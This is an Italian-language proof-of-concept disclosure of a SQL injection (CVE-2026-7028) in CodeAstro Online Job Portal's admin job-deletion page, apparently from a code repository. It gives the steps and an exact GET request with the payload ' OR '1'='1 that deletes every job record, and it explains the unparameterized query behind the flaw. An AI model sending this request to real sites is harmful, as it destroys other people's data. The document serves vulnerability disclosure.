xmyronn/cve-2026-7028-sqliProof-of-concept exploit per SQL injection in CodeAstro Online Job Portal che consente l'eliminazione autenticata di tutti i record di lavoro tramite una richiesta GET appositamente costruita.
È stata identificata una vulnerabilità di SQL injection nella funzionalità di eliminazione dei lavori dell'admin del CodeAstro Online Job Portal.
L'applicazione utilizza il parametro id direttamente nella query SQL senza una validazione adeguata o un binding dei parametri. Per questo motivo, un attaccante può modificare la query iniettando input dannosi.
Sfruttando questo problema, un utente autenticato può alterare la logica della query prevista ed eliminare tutti i record di lavoro dal database invece di una singola voce.
Accedi al pannello di amministrazione.
Vai a:
/admin/jobs-admins/show-jobs.php
Verifica che esistano più voci di lavoro.
Invia la seguente richiesta:
GET /admin/jobs-admins/delete-jobs.php?id=48' OR '1'='1 HTTP/1.1
Host: target
Tutte le voci di lavoro vengono eliminate dal database invece di una sola.
' OR '1'='1
Un attaccante autenticato può eliminare tutte le offerte di lavoro nel sistema, causando una completa perdita di dati e l'interruzione del servizio.
